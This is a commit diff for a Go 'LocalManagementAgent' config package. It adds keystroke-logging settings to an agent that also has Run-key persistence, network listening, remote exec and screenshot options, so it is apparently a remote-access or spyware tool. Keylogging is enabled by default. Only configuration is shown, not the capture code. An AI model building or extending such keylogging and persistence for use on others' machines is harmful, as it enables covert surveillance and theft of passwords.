Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.

This commit is contained in:
2026-08-28 12:44:09 +03:00
parent 16d7aa75b3
commit d48c2044bc
13 changed files with 988 additions and 11 deletions
+45 -11
View File
@@ -2,21 +2,26 @@ package config
import (
"os"
"path/filepath"
"strconv"
"strings"
)
const (
Version = "1.0.0"
DefaultAddr = "0.0.0.0:5032"
MutexName = "LocalManagementAgent_Mutex"
RequestBodyMax = 1 << 20
MaxListEntries = 10000
MaxImageQuality = 100
DefaultExecTO = 30
MaxExecTO = 120
StartupValueName = "LocalManagementAgent"
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
MaxInputText = 4096
Version = "1.0.0"
DefaultAddr = "0.0.0.0:5032"
MutexName = "LocalManagementAgent_Mutex"
RequestBodyMax = 1 << 20
MaxListEntries = 10000
MaxImageQuality = 100
DefaultExecTO = 30
MaxExecTO = 120
StartupValueName = "LocalManagementAgent"
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
MaxInputText = 4096
AppDataDir = "LocalManagementAgent"
KeylogSubdir = "keystrokes"
DefaultKeylogRetentionDays = 7
)
func EnvOr(name, fallback string) string {
@@ -25,3 +30,32 @@ func EnvOr(name, fallback string) string {
}
return fallback
}
func KeylogEnabled() bool {
switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) {
case "0", "false", "no", "off":
return false
default:
return true
}
}
func KeylogRetentionDays() int {
raw := strings.TrimSpace(os.Getenv("KEYLOG_RETENTION_DAYS"))
if raw == "" {
return DefaultKeylogRetentionDays
}
days, err := strconv.Atoi(raw)
if err != nil || days < 0 {
return DefaultKeylogRetentionDays
}
return days
}
func KeylogDir() (string, error) {
base, err := os.UserConfigDir()
if err != nil {
return "", err
}
return filepath.Join(base, AppDataDir, KeylogSubdir), nil
}